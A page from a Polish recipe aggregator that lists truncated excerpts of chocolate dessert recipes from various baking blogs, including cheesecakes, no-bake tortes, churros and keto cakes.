czekolada - 27946 przepisów (strona:768/1864)

Tort "Trzy sery" - bez pieczenia 33

achy  i.. chciałam napisać na szybkie upieczenie, ale to tort na zimno :). Pyszny, chmurka serowo - czekoladowa dla miłośników serników na zimno. Trzy rodzaje pysznych serków, śmietanka, czekolada,  ładnie odznaczające się w przekroju warstwy.  Kremowa konsystencja, taka jaką ja uwielbiam - nie zbyt mocno ścięta. Nie przedłużam - zapraszam! Składniki: proporcje na tortownicę o średnicy 22 cm Warstwa(...)serowa straciatella: 500 gram twarogu sernikowego - polecam "Mój ulubiony" 250 gram serka mascarpone 50 gram miękkiego masła 3/4 szklanki cukru pudru 50 gram gorzkiej czekolady startej na grubych oczkach 9 gram żelatyny rozpuszczonej w 1/3 szklanki wrzątku szczypta soli 1 opakowanie cukru z prawdziwą wanilią Warstwa śmietankowa ricotta: 250 gram serka ricotta 200 gram śmietanki kremówki 36 % 1 łyżka cukru

Kronika Piekarnika
Sernik ze śliwkami z waniliową pianką 40

Deser LION – mini serniczki w słoiczkach Z czego składa się to ciasto ze śliwkami bez pieczenia? herbatniki warstwa serowa ze śliwkami śliwki węgierki waniliowa pianka z mascarpone starta czekolada Ten sernik to połączenie kremowego sernika gotowanego, świeżych śliwek i puszystej waniliowej pianki z mascarpone i jogurtu greckiego. Serniczek świetnie pasuje do codziennej kawy, a także jako deser na rodzinną(...)jogurtu greckiego 200 g mascarpone 100 g cukru pudru 1 łyżka ekstraktu waniliowego 4 łyżeczki agaru lub 3 łyżeczki żelatyny   Dodatkowo: 500 g śliwek węgierek 40 g mlecznej czekolady przygotowanie Proporcje są na kwadratową formę 24×24 cm. Jeśli chcesz przygotować ciasto w dużej formie, pomnóż ilość składników 1,5 raza.   Jak zrobić spód do sernika bez pieczenia

Via Gusto
Klasyczne babeczki z czekoladą i cynamonem 30

Klasyczne babeczki z czekoladą to propozycja na każdą porę roku i chociaż cynamon kojarzy nam się z jesiennymi rozgrzewającymi daniami my bardzo lubimy jego dodatek do słodkich wypieków.  Składniki : 150g mąki pszennej 1 łyżeczka proszku do pieczenia 3/4 łyżeczki cynamonu 80 g cukru 2 jajka 50 ml jogurtu naturalneg 50 ml oleju 50g posiekanej czekolady  Przygotowanie: W pierwszej(...)misce mieszamy przesianą mąkę, cynamon i proszek do pieczenia, a w drugiej ubijamy jajka, cukier, jogurt i olej. Następnie wszystko łączymy, dodajemy posiekaną czekoladę, mieszamy dokładnie łyżką. Ciasto powinno być dość gęste i należy je umieścić w papilotkach do 3/4 ich wysokości. Muffiny pieczemy w rozgrzanym piekarniku przez około 25 minut w 180 stopniach

Życie zaczyna się w kuchni
KETO JAGODZIANKI BEZ GLUTENU I CUKRU (bez glutenu i cukru, adaptacja) 72

wielkości jajka 200 g  serka naturalnego śmietankowego 30 g erytrolu 3 g drożdży suchych 2 łyżeczki proszku do pieczenia bez glutenu Nadzienie 200 g jagód 30 g białej czekolady bez cukru 30 g śmietanki 30% Przygotowanie Odważyć składniki na ciasto i dokładnie wymieszać. Gdy jajka są większe i konsystencja masy zbyt rzadka należy dosypać błonnika bambusowego lub/i łupin babki(...)przez 30-35 minut w temperaturze 180°C (termoobieg), pilnując by bułeczki nie przypiekły się za bardzo. Gotowe drożdżówki wystudzić na kratce. W tym czasie przygotować polewę rozpuszczając białą czekoladę ze śmietanką. Następnie bułeczki polać czekoladą i odstawić do zastygnięcia. — BTW całości: 773 g, 1158 kcal, B 35 g, T 79 g, W 32 g. Dzieląc na 6 równych

Ola la LCHF
Deser Toffifee z płatków ryżowych 48

deser Toffifee? Deserek składa się z dwóch kremów na bazie płatków ryżowych: pierwszy krem z kajmakiem drugi krem z kakao i masłem orzechowym Całość posypana jest orzechami laskowymi i czekoladą. Dokładny przepis znajdziesz poniżej. Sprawdź również inne przepisy na desery w pucharkach: deser Kinder Country deser Kinder Bueno PRZEPIS NA DESER TOFFIFEE Deser Toffifee z płatków ryżowych Via Gusto Prosty(...)kajmaku 2 łyżeczki kakao 30 g masła orzechowego 30 g cukru pudru (lub innego słodzika) Składniki na wierzch deserków: kilka orzechów laskowych 2-3 kostki startej gorzkiej czekolady kilka Toffifee przygotowanie Jak zrobić deserek Toffifee w pucharkach? Mleko owsiane zagotuj. Do gotującego się mleka wsyp płatki ryżowe – wymieszaj i gotuj 2-3 minuty, cały czas mieszając. Następnie zdejmij

Via Gusto
Porzeczkowe ptasie mleczko 31

porzeczek i do tego pianka z mleka skondensowanego przypominająca swoją konsystencją ptasie mleczko. Żeby się wygodnie kroiło, piankę przykryłam warstwą biszkoptów i jak w klasycznym ptasim mleczku polałam wszystko czekoladą. Cóż mogę napisać wyszło pysznie, owocowo i czekoladowo i nawet dzieciom smakowało mimo dość ostrego charakteru galaretki porzeczkowej.  Ciasto czekoladowe: 200 g masła lub margaryny 125 ml mleka(...)wysokiego naczynia i ubijamy mikserem aż powstanie dość gęsta piana, następnie wlewamy zimną galaretkę i miksujemy aż się połączy z pianą. Wykładamy na galaretkę porzeczkową Dodatkowo: 100 g czekolady mlecznej  3-4 łyżki mleka herbatniki ok 20 sztuk  Na piance układamy herbatniki. Czekoladę rozpuszczamy z mlekiem w kąpieli wodnej i polewamy nią wierzch ciasta. Deser wstawiamy do lodówki

Cynamonowe szczęście
Keto Puree z Kalafiora na 3 Sposoby: Idealna alternatywa dla ziemniaków🍚 44

pomysł na keto śniadanie na słodko , która sprawdzi się także w roli deseru ! :) Zblendowany kalafior został w tym przypadku wzbogacony żółtkami i podany w towarzystwie owoców oraz niskowęglowodanowej czekolady . Pycha, że palce lizać! Budyniowe puree z kalafiora na słodko Przepyszne i zdrowe danie, które Cię pozytywnie zaskoczy! Wypróbuj ten przepis na kremowe puree z kalafiora o delikatnym, budyniowym smaku(...)mrożony) 25 g białko serwatkowe (lub inna odżywka białkowa) 2 szt. żółtka ((mogą być w proszku)) 5 kropli kropelki słodzące (o smaku sernika) truskawki (lub inne owoce (opcjonalnie)) czekolada gorzka (lub niskowęglowodanowa (opcjonalnie)) Kalafiora ugotować do miękkości, odcedzić. Nadal gorący zblendować z odżywką i żółtkami. Dosłodzić do smaku kropelkami słodzącymi. Deser, Śniadanie Europejska Low-Carb, Bezglutenowa, Wege budyń, czekolada, owoce

Modern Cave Girl
Ciastka czekoladowe 29

brzydkie. Smak? Pyszne, serio. No przepyszne. Na dodatek kiedy poda się je jakoś tak z godzinę po upieczeniu, jest szansa, ze traficie jeszcze na kawałki lejące się czekolady. To też w nich robi sporą robotę. Zróbcie je więc prawie na ostatnią chwilę. Przepis jest stąd: alsothecrumbsplease . Jedyne co zmieniłam u siebie to ilość kakao, ja dodałam jakoś 1/3 szklanki. Następnym(...)wyszły takie jasne) 1 łyżeczka skrobi ziemniaczanej pół łyżeczki sody oczyszczonej pół szklanki miękkiego masła 3/4 szklanki cukru pudru 1/4 szklanki cukru brązowego 1 duże jajko pół tabliczki gorzkiej czekolady (przepis na 12 ciastek) Do jednej miski wsypujemy mąkę, kakao, skrobię i sodę oczyszczoną. Do drugiej wsypujemy dwa rodzaje cukru i wrzucamy masło. Składniki miksujemy około 2 minuty. Następnie dodajemy

Kardamonovy
Sernik Izaura 70

jajka wielkości M 180 g cukru 100 g masła (pół kostki) 1 budyń śmietankowy bez cukru Polewa czekoladowa – składniki 200 ml śmietanki kremówki 30% 100 g gorzkiej czekolady 40 g wiórek kokosowych Przygotuj blaszkę o wymiarach 24×35 cm, piekarnik nagrzej do temperatury 160 stopni na opcji góra – dół. Wszystkie składniki powinny być w temperaturze pokojowej(...)około 2 minutach wyjmij ciasto. Pozostaw do ostygnięcia. Polewę wylej na przestudzony sernik. Kremówkę przelej do garnuszka, doprowadź do wrzenia, wyłącz palnik. Do gorącej śmietanki dodaj rozdrobnioną czekoladę, mieszaj do momentu rozpuszczenia się czekolady. Polewę wylewaj łyżką na sernik, następnie posyp sernik wiórkami kokosowymi bądź migdałami. Sernik Izaura smakuje najlepiej schłodzony. Smacznego! (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Sernik Izaura pochodzi

Do Garów!
Bułki serowe ze złotym lnem 47

Myślałam już jakiś czas o pysznym śniadaniu, takim z pyszną kawą czy czekoladą a do tego jakieś szybkie i pyszne bułeczki. Pomysł przyszedł podczas przeglądania neta, tu zobaczyłam, tam podejrzałam i znalazłam przepis z rodzinnego archiwum na bułki z twarogiem. Bułeczki są przepyszne, pulchniutkie, delikatne, lekko słodkawe a więc idealne z czekoladą o której marzyłam. A dzięki uprzejmości sklepu Venossa.pl(...)takową mogłam ugotować. U mnie jest to czekolada gorzka, przepyszna z mnóstwem Mg na lepszą połowę dnia. Do bułeczek użyłam miodu również ze sklepu Venosa.pl, szybka dostawa, pyszne produkty a mają ich nie mało. Polecam sklep Venosa.pl Bułki serowe, polecam gorąco i zapraszam do stołu. CZYTAJ DALEJ

Moje Małe Czarowanie
Czekoladowa rolada z truskawkami 68

Biszkopt: 5 dużych jajek 100g cukru 2 łyżeczki cukru z wanilią (użyłam cukru wanilinowego) 70g mąki pszennej (użyłam tortowej) 20g kakao bez cukru 20g startej na drobnych oczkach gorzkiej czekolady (użyłam czekolady o zawartości masy kakaowej 64%) Krem: 600ml schłodzonej śmietankę Łaciata 36% (przed ubijaniem należy schłodzić ją w lodówce co najmniej 12 godzin) 4-5 łyżek cukru pudru(...)cukier z wanilią i ucierać mikserem ustawionym na wysokie obroty przez około 5 minut. 3. Do mąki dodać kakao, krótko wymieszać łyżką i przesiać na jajeczną masę. Dodać startą czekoladę i wymieszać szpatułką na jednolite ciasto, proszę za długo nie mieszać. 4. Ciasto przełożyć na płaską blachę wyłożoną papierem do pieczenia o wymiarach 35x42cm (blachę można posmarować trochę masłem

Mała Cukierenka
Sernik z nutellą. 56

dobrej jakości twarogu sernikowego (miałam w wiaderku Piątnica) 1/2 szklanki cukru 5 jajek 1 słoiczek nutelli (385 g.) 2 łyżki mąki ziemniaczanej Polewa: 80 g. śmietanki 30 % 100 g. czekolady mlecznej  Dodatkowo: orzechy laskowe prażone do dekoracji Wykonanie: Herbatniki drobno pokruszyć. Można to zrobić robotem, lub blenderem.  Można też włożyć do wytrzymałego woreczka i rozdrobnić wałkiem do ciasta(...)sernik jeszcze na godzinę.  Następnie wyciągnąć i zostawić do całkowitego wystudzenia.  Orzechy posiekać nożem.  Kiedy sernik wystygnie przygotować polewę.  Śmietankę podgrzać. Dodać połamaną na kawałki czekoladę i mieszać  aż czekolada się rozpuści.  Trzeba uważać żeby nie zagotować.  Po ściągnięciu z gazu mieszać polewę jeszcze przez chwilę, żeby nie była zbyt ciepła.  Następnie

Agusiowe smakołyki
Ciasto cappuccino bez pieczenia 81

taki deserowy jednorożec – wielu słyszało, ale mało kto tak naprawdę widział. W końcu przygotowując różnego rodzaju ciasta aż prosi się o to, aby szczodrze sypnąć cukru, czekolady i innych słodkości. W efekcie może powstać nam trudny do przełknięcia ulepek. Tymczasem ciasto, które mam dziś dla was znajduje się na zupełnie przeciwnym biegunie. Cukru w nim niewiele, a smak został(...)Przepis na ciasto cappuccino bez pieczenia Składniki na ciasto cappuccino bez pieczenia Na blaszkę o wymiarze 31×25 cm Krem straciatella: 500 ml śmietany 36% 90 g gorzkiej czekolady 1 łyżka cukru pudru 1,5 łyżki żelatyny Krem kawowy: 350 ml bardzo mocnej, zaparzonej kawy 250 g serka mascarpone 350 ml śmietany 36% 2 łyżki cukru 2 łyżki żelatyny

okolicepalnika.pl
Ciasto Balowe 45

się ze sobą komponują. (adsbygoogle = window.adsbygoogle || []).push({}); Delikatny biszkopt osłodzony masą krówkową z dodatkiem chrupiących migdałów, puszysta masa śmietankowa wykończona biszkoptami nasączonymi w ponczu oraz masa czekoladowa wykończona gorzką czekoladą. Całość smakuje obłędnie! Przepis na ciasto balowe wbrew pozorom nie należy do trudnych. Wystarczy postępować zgodnie z instrukcją, a będziecie mieć pewność, że wszystko wyjdzie jak powinno. Ciasto balowe idealnie(...)łyżki kremu czekoladowego (np. nutella) 1 śmietan fix PONCZ 150 ml herbaty 2 łyżeczki cukru 1 łyżka soku z cytryny DODATKOWO 50 g gorzkiej czekolady 1 opakowanie okrągłych biszkoptów (adsbygoogle = window.adsbygoogle || []).push({}); Wykonanie Biszkopt: Białka ubijamy na sztywną pianę z dodatkiem cukru. Kiedy masa będzie już odpowiednio szklista, zmniejszamy obroty miksera i stopniowo dodajemy żółtka, mieszamy

Przepiski.pl
Serniczek na zimno (bezglutenowy) 57

Składniki: (na 8 sztuk w foremkach do dużych muffinek , w 8 obręczach cukierniczych lub małej formie do tortu) spód: 150 g płatków kukurydzianych 150 g masła pół tabliczki białej czekolady masa serowa: 0,5 l śmietany 30 % 750 g sera sernikowego 3 łyżki cukru pudru sok z 1 cytryny lub limonki 5 łyżeczek żelatyny owoce (truskawki, granat, winogrona, borówki(...)takie jak macie)   Przygotowanie: Płatki kukurydziane rozdrabniamy blenderem. Masło i czekoladę rozpuszczamy w rondelku, wlewamy do płatków i mieszamy. Jeżeli nadal są zbyt sypkie trzeba dodać jeszcze masła. Im większe kawałki płatków tym trudniej je skleić i potrzeba do tego więcej masła. Dno foremek wysypujemy płatkami tak ok 1 cm warstwą i ubijamy. Wkładamy do lodówki. Żelatynę rozpuszczamy

Kulinarna Patilogia
Kokosowe gniazdka 55

szybki deser a zarazem dekorację świątecznego stołu to te kokosowe gniazdka będą tu idealne.  Składniki: - 2 białka - 1 łyżka cukru pudru - 200 g wiórek kokosowych oraz  - tabliczka czekolady deserowej - 1 łyżka śmietany kremówki - kolorowe jajka Przygotowanie: Białka ubijamy z cukrem na sztywno. Następnie dodajemy wiórki kokosowe i mieszamy już masę łyżką. Foremki na muffinki lub na babeczki wylepiamy(...)masą, tak by środek można było potem napełnić nadzieniem. Gniazdka pieczemy w 180 C przez około 25 minut. Czekoladę wraz ze śmietanką rozpuszczamy w kąpieli wodnej. Przestudzone gniazdka napełniamy rozpuszczoną czekoladą a ich wierzch dekorujemy kolorowymi jajeczkami

Zainspirowana w kuchni
Ciasta na Wielkanoc 73

puszki, które pięknie dopełnią słodką dekorację wypieku. Polecam Ci zatem mój sernik bez miksera . Wystarczy posypać go cukrem pudrem i udekorować owocami. Smakuje i wygląda rewelacyjnie. Sernik z białą czekoladą to pyszny i efektowny wypiek, słodki i zwarty. Jeden z lepszych na wielkanocnym stole. Obok szybkiego sernika bez miksera i sernika z białą czekoladą koniecznie wypróbuj mój przepis na sernik(...)mlekiem w proszku . Warte wypróbowania są także szybkie serniki jak sernik z mascarpone , który polałam polewą czekoladową i udekorowałam borówkami. Świetnie nadadzą się inne owoce, tarta czekolada, wiórki kokosowe lub bakalie. Równie pyszny z kakaowym spodem, śliwkami i kruszonką będzie sernik ze śliwkami . Pyszny kakaowy spód, owoce w środku i chrupiąca kruszonka na wierzchu. Idealny deser nie tylko w święta

Zasmakuj Kuchni
Mazurek Czterowarstwowy 61

łyżeczka) kakao (1 łyżka) Masa jabłkowa: jabłka dowolne (1,5 kg) cukier (0,5 szkl.) galaretka cytrynowa w proszku (2 opakowania.) Polewa: śmietanka kremówka 30 %  (120 ml.) czekolada deserowa (150 g) Dodatkowo: kolorowe motylki cukrowe do dekoracji Potrzebne gadżety: foremka 23x33 cm mikser szpatułka miarka waga (adsbygoogle = window.adsbygoogle || []).push({}); WYKONANIE: 1.  Placek 1. Masło utrzeć z cukrem pudrem(...)plackiem makowym. Wyłożyć następną warstwę jabłek i przykryć plackiem kokosowym. Rozprowadzić resztę jabłek, wyrównać i położyć ostatni orzechowy placek. 7. Polewa . Kremówkę mocno podgrzać (nie gotować). Dodać do niej czekoladę deserową w kawałkach. Wymieszać dokładnie. Polewę wylać od razu na ciasto i wygładzić powierzchnię. Udekorować motylkami cukrowymi lub według gustu. Mazurek czterowarstwowy wstawić na noc do lodówki. Uwagi :  - Ciasto

RITA food channel
Babka marmurkowa – najprostsza 66

łatwo dostępnych składników. Posiłek ciasto, deser Kuchnia polska Słowo kluczowe babka, babka marmurkowa, ciastka czekoladowe, ciasto, ciasto marmurkowe, ciasto na święta, ciasto na Wielkanoc, ciasto ucierane, ciasto z czekoladą, potrawy wielkanocne, proste ciasto, szybkie ciasto, wielkanoc Czas przygotowania 20 min. Czas gotowania 45 min. Całkowity czas przygotowania 1 hour 5 min. Porcje 10 porcji Autor Agnieszka | na-talerzu.pl Sprzęt Forma(...)proszku do pieczenia 35 g ciemnego kakao 75 ml wrzątku Polewa czekoladowa 60 ml śmietany kremówki 60 g gorzkiej czekolady Kroki Nastaw piekarnik na 180 stopni (góra-dół). Formę do babki wysmaruj tłuszczem i posyp mąką. W misce wymieszaj mąkę z proszkiem do pieczenia. Za pomocą miksera utrzyj masło z drobnym cukrem

Na-talerzu.pl
Torcik warstwowy, pistacjowo - bezowy 52

cukru z prawdziwą wanilią 100 gram płatków migdałowych 100 ml mleka Masa: 300 ml śmietanki kremówki 30 % 250 gram serka mascarpone 2 pełne łyżki kremu pistacjowego 100 gram białej czekolady 1/2 słoiczka konfitury z owoców leśnych 1 łyżka galaretki z owoców leśnych Wykonanie: Ciasto: Białka ubijamy na sztywną, lśniącą pianę,  pod koniec ubijania dosypując 150 gram cukru. Odkładamy(...)studzimy i kroimy ostrym nożem  wzdłuż dłuższego boku na cztery równej szerokości pasy  - na wymiar szerokości keksówki, w której będziemy ciasto składać. Masa: Dzień przed pieczeniem, białą czekoladę  połamaną na kostki wkładamy do miseczki  i zalewamy mocno podgrzaną, ale nie zagotowaną śmietanką.  Mieszamy do połączenia i odkładamy do lodówki na noc. W dniu pieczenia ciasta

Kronika Piekarnika
Top 10 najlepszych ciast na Wielkanoc 84

Mazurki z malinami Przepis tutaj (KLIK) Proste, pyszne i piękne mazurki z musem malinowo-czekoladowym, na delikatnym kruchym spodzie. Są bardzo proste w wykonaniu. Mazurki pomarańczowe z białą czekoladą Przepis tutaj (KLIK) Kruche mazurki z pysznym musem pomarańczowym z dodatkiem białej czekolady. Ciasteczka możemy dowolnie ozdobić za pomocą bakali, orzeszków czy posypek, co uwielbiają robić szczególnie dzieci. Polecam! WIELKANOCNE MAZURKI(...)CZEKOLADĄ PRZEPIS TUTAJ   6. Kremowe ciasto z owocami   Krówka z bananami – ciasto bez pieczenia Przepis tutaj (KLIK) Proste, szybkie i niebiańsko pyszne ciasto, do przygotowania którego wcale nie potrzebujemy piekarnika. Kruche herbatniki i krakersy połączone z pyszną masą budyniową, kajmakiem, bananami i kremem śmietankowym. Niebo w ustach! Malinowa księżniczka Przepis tutaj (KLIK) Obłędnie pyszne i bardzo efektowne ciasto

Blog z Apetytem
Churros wg Aleex 68

ciągach pieszych oraz na dworcach, lotniskach, stacjach metra i innych ruchliwych miejscach. Jest to jedna z najpopularniejszych w Hiszpanii przekąsek śniadaniowych. Bywa zjadana samodzielnie lub po umoczeniu w filiżance czekolady i wtedy nazywa się chocolate con churros (w Katalonii xurros i xocolata). Zwykle posypuje się churros cukrem pudrem, ale w Urugwaju podaje się je także ze stopionym serem. Często churros(...)szczypta soli  • 1 szklanka mąki pszennej  • 3 jajka  • 1 litr oleju rzepakowego  • cukier puder z odrobiną cynamonu  • 50 ml śmietanki 30%  • 100 g czekolady (po 50 g deserowej i mlecznej)  Sposób przygotowania:   1. Do rondelka wlać wodę, dodać masło, sól i cukier. 2. Składniki zagotować.  3. Do garnka wsypać mąkę

W mojej kuchni
Churros 70

zwolennikiem tej drugiej metody, czyli wyciskania ciasta na papier do pieczenia i wkładania całości na olej. Po usmażeniu churros posypywane jest cukrem z dodatkiem cynamonu i podawane z gorącą czekoladą. Ja moje pierwsze w życiu churros miałam okazję zjeść kilka lat temu w Madrycie, w Chocolatería San Ginés . Podane było ono z fenomenalną gorąca czekoladą i smakowało wspaniale. Jeśli(...)wykładać na talerz wyłożony papierowym ręcznikiem. Na talerzyku wymieszać brązowy cukier wraz cynamonem, po czym oprószyć churros. Churros podawać od razu po usmażeniu, z dodatkiem sosu czekoladowego bądź gorącej czekolady. Churros z cukrem i cynamonem Warto wiedzieć robiąc churros. Churros wyciskałam za pomocą tylki z dość małą dziurką. Najlepiej jest przetestować kilka tylek o różnej wielkości, aby zobaczyć która daje

MeCooks
Tort czekoladowy czarno - biały na biszkoptach w galaretce 66

łyżki cukru 1 łyżka żelatyny 125 gram serka mascarpone Masa czekoladowa: 300 ml śmietany 36 % 125 gram serka mascarpone 3 łyżki kremu czekoladowego  1 tabliczka gorzkiej czekolady Wykonanie: Dżem morelowy wkładamy do rondelka, podgrzewamy, wsypujemy galaretkę i mieszamy do jej rozpuszczenia. Odstawiamy. Dno tortownicy wykładamy okrągłymi biszkoptami  i pokrywamy warstwą powstałej żelki morelowej, wypełniajac dokładnie szczeliny pomiędzy ciastkami(...)niego żelatynę,  mieszamy do połączenia. Studzimy. Gdy budyń wystygnie, miksujemy go, by się rozpulchnił, dodajemy serek mascarpone  i miksujemy do połączenia w masę bez grudek. Masa czekoladowa: Czekoladę rozpuszczamy w kapieli wodnej lub w mikrofalówce, studzimy. Do misy miksera wkładamy mascarpone, śmietanę  i miksujemy chwilkę - do powstania gęstego kremu.  Dodajemy krem czekoladowy, miksujemy.  Na koniec

Kronika Piekarnika
Tort rafaello z wiśniową żelką 61

sobie na 3 dni.  Składniki (tortownica 24 cm): biszkopt: jajka 6 szt mąka pszenna 156 g, mąka ziemniaczana 48 g, cukier 198 g, krem: śmietanka 36% 500 ml, czekolada biała 2 szt, wiórki kokosowe  200 g, śmietan fix 2 szt, śnieżka w proszku 1 szt, cukier puder opcjonalnie, żelka wiśniowa: wiśnie 330 g,  żelatyna(...)całkowicie rozpuści. Żelkę należy zrobić o mniejszej średnicy niż tort. Tortownicę o średnicy 22 cm wykładamy folią spożywczą, przelewamy ostygnięte puree wiśniowe i włożyć do lodówki na całą noc. Czekolady rozpuścić w misce na parze wodnej lub w rondelku na małej mocy palnika z niewielką ilością mleka. Odstawić do ostygnięcia. Śmietankę ubić, ale nie całkowicie, musi pozostać lekko lejąca

kulinarne odsłony pati
Domowe ptasie mleczko 87

Masy: śmietana 30 %: 0,5 l białka jaj: 4 szt. mleko: 1/2 szklanki żelatyna: 6 łyżeczek cukier puder do smaku kakao: 2 łyżki mleko w proszku: 2 łyżki Polewa: czekolada: 50 g masło: 1 łyżka mleko: 2 łyżki Domowe ptasie mleczko Przygotowanie: Połowę śmietany ubijamy na sztywno. Pod koniec ubijania dodajemy mleko w proszku oraz cukier puder do smaku(...)smug. Łączymy masy, dodajemy żelatynę i mieszamy. Wykładamy na związaną białą warstwę ptasiego mleczka. Wstawiamy do lodówki do całkowitego stężenia. Gdy masy stężeją, przygotowujemy polewę. W kąpieli wodnej rozpuszczamy czekoladę z masłem i mlekiem. Aby polewa ładnie pokryła ciasto, polecamy zrobić to w dwóch etapach. Na masy wylewamy połowę czekolady i wyrównujemy. Odstawiamy do lodówki, aby lekko stężała. Następnie kładziemy

Kuchnia Na Wypasie
Pączki kokosowe 72

czwartek" - więc obowiązkowo muszą być pączki. Przepis, którym się z wami podzielę - jest naprawdę wyjątkowy. Pączki wychodzą lekkie i puszyste, a nadzienie kokosowe z dodatkiem mleka kokosowego i białej czekolady zostawi niezapomniane wrażenia :) Polecam. Z podanych składników, wyjdzie nam około 20 sztuk pączków. Składniki: 100 ml mleka krowiego (letniego) 150 ml mleka kokosowego (letniego) 50 g świeżych drożdży 3 łyżki(...)masła (roztopionego i ostudzonego) 2 łyżki spirytusu    Nadzienie kokosowe: 400 ml mleka kokosowego 5 żółtek 50 g cukru 50 g mąki ziemniaczanej 180 g białej czekolady Lukier: 170 g cukru pudru 4 łyżki gorącej wody Dodatkowo: 100 g wiórków kokosowych  Zaczynamy od przygotowania nadzienia kokosowego. Żółtka z cukrem przełożyć do dosyć dużej miski. Całość utrzeć mikserem

Świat Ciasta
Ciasto milionera 386

czasu włożona w przygotowanie ciasta będzie nieproporcjonalnie mniejsza. Ciasto milionera zawsze wieńczy polewa czekoladowa. W tym wypadku należy pamiętać o dwóch rzeczach. Po pierwsze nie powinna być to sama czekolada, która po zastygnięciu będzie bardzo twarda co utrudni krojenie. Po drugie, w czasie wylewania na ciasto polewa powinna być przestudzona. W przeciwnym razie rozpuści masę karmelową. Jak przechowywać ciasto milionera(...)zabezpieczyć ciasto przed przesiąkaniem zapachami z lodówki. ciasto milionera Przepis na ciasto milionera Składniki na ciasto milionera Na foremkę o wymiarach 20cm x 25cm Polewa czekoladowa : 180g mlecznej czekolady 3 łyżki masła Spód: 50 g cukru szczypta soli 175 g mąki pszennej 125 g miękkiego masła Dodatkowo: 400 g masy kajmakowej (1 puszka) duża szczypta grubej soli Jak zrobić ciasto

okolicepalnika.pl
Pyszne desery delikatne jak piórko? Sprawdź, jak je przygotować! 81

wyrzutów można się zajadać nawet wieczorem! Równie dobrze śmietana kremówka smakuje z budyniem, a z jej udziałem zrobimy z niej także deser przypominający smakiem dobrze znane piankowe kosteczki pokryte czekoladą! Jeśli ma się ochotę na coś słodkiego, a zarazem delikatnego, warto skusić się na… po prostu inną kawę, która sama w sobie może być pysznym łakociem. Słodka, bita śmietana idealnie(...)napój, nadając mu charakter pysznego deseru. Taka wariacja świetnie sprawdzi się zarówno przy ciepłej kawie, jak i przy jej mrożonym wariancie. Kawę z bitą śmietaną można dodatkowo udekorować wiórkami czekolady czy polewą, np. karmelową. To idealne połączenie przyjemnego z pożytecznym – kawa pobudzi, śmietana osłodzi, a wszystko będzie lekkie i pyszne! A może serniczka…? Co zrobić z sera białego, jeśli

Kulinarnyblog.pl - wiesz jak gotować!
Ciasto Morze Czarne 110

następnie przekrawam na dwa równe blaty. Blaty nasączam posłodzoną herbatą. Krem czekoladowy: opakowanie serka mascarpone 250 g szklanka śmietanki 30% 150 g kremu czekoladowego (użyłam Bakoma) 100 g czekolady gorzkiej Krem czekoladowy Czekoladę rozpuszczam w kąpieli wodnej (kruszę ją do metalowej miski i umieszczam w garnku z ciepłą wodą). Do miski dodaję śmietanę, mascarpone i ubijam na sztywno. Następnie dodaję(...)krem czekoladowy i rozpuszczoną czekoladę. Wszystko oczywiście razem krótko miksuję, do połączenia składników. Gotowy krem kładę na jednym biszkopcie i przykrywamy drugim. Masa malinowa: około pół kg mrożonych lub świeżych malin pół szklanki cukru 1/4 szklanki wody 2 łyżki mąki ziemniaczanej Mieszam masę malinową. Maliny wsypuję do garnka i dodaje cukier. Całość gotuję i mieszam, aby się nie przypaliło

Ania gotuje
Churros 89

soli 160-170 g mąki pszennej 3 jajka 1/2 łyżeczki cynamonu około 1/3 szkl. drobnego cukru trzcinowego Sos czekoladowy: 1/2 szkl. śmietanki 30% szczypta cynamonu szczypta chili 50 g czekolady gorzkiej 50 g czekolady mlecznej 20 g masła W garnku umieszczamy masło, wodę, ekstrakt waniliowy, cukier oraz sól. Powoli doprowadzamy do wrzenia. Gdy składniki się zagotują, wsypujemy mąkę i energicznie(...)zastygnięcia do lodówki. Śmietankę podgrzewamy w rondelku wraz z cynamonem oraz chilli. Tuż przed momentem wrzenia zdejmujemy z palnika. Do gorącej śmietanki dodajemy masło oraz połamaną na kostki czekoladę. Odstawiamy na 2-3 minuty, po czym mieszamy całość, aż do uzyskania gładkiej konsystencji

Smaki Na Talerzu
Keto ciasto z pianką wiśniową (Paleo, LowCarb) 73

pyszny kawałek noworocznego ciasta. Oby rok 2020 był tak dobry jak to keto ciasto z pianką wiśniową... Course Deser Cuisine Europejska, Wege Keyword ciasto z owocami, czekolada, owoce, piernik Cook Time 20 minutes Total Time 2 hours 20 minutes Servings 16 porcji Ingredients Ciasto piernikowe 4 jajka 0,25 szklanki gęstego mleka kokosowego 2 łyżki masła klarowanego rozpuszczonego 4 łyżki(...)mogą być też mrożone) 2 łyżki soku z cytryny 5 łyżek erytrytolu 100 ml wody 24 g żelatyny (6 łyżeczek) Ganache czekoladowy 100 ml gęstego mleka kokosowego 100 g czekolady gorzkiej min. 85% kakao lub niskowęglowodanowej 8 łyżek konfitury wiśniowej 2 garści płatków migdałowych Instructions Ciasto piernikowe Suche składniki poza solą i erytrytolem wymieszać. Oddzielić białka od żółtek. Żółtka wymieszać

Modern Cave Girl
Ciasto Pijana Śliwka 135

Mocno czekoladowe i mocno alkoholowe ciasto z kremem na bazie nutelli z suszonymi śliwkami nasączonymi rumem   i polewą z gorzkiej czekolady. Wyraziste, wilgotne  w smaku i bardzo smaczne, dla amatorów treściwych konkretnych ciast. Jest obłędnie pyszne! Sprawdzi się na róznych uroczystościach, nie sposób poprzestać na jednym kawałku. Polecam. Forma 25/30 cm Ciasto: ¾ szklanki oleju ½ szklanki wody(...)suszonych śliwek 150 ml rumu   Poncz: 100 ml zaparzonej kawy rozpuszczalnej 3 łyżki rumu   Dodatkowo: 4 pełne łyżki powideł śliwkowych   Polewa: 10 dag gorzkiej czekolady 150 ml słodkiej 30 % śmietanki   Dowolna posypka do dekoracji    Sposób przygotowania: Olej, wodę i jedną szklankę drobnego cukru oraz kakao umieścić razem w rondelku, podgrzewać aż masa się zagotuje

Wanilia i Kardamon
Pomarańczowe brownie 92

